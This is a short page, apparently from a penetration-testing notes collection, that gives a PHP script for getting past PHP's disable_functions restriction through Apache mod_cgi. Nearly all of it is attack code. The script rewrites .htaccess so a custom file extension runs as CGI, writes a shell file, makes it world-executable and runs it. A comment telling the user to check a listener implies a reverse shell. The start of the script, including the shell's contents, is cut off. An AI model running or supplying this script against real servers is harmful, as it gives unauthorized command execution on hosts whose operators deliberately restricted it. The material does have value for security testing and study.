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# disable\_functions bypass - mod\_cgi
## mod\_cgi
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener 
"; //call the script
}
}
?>
```
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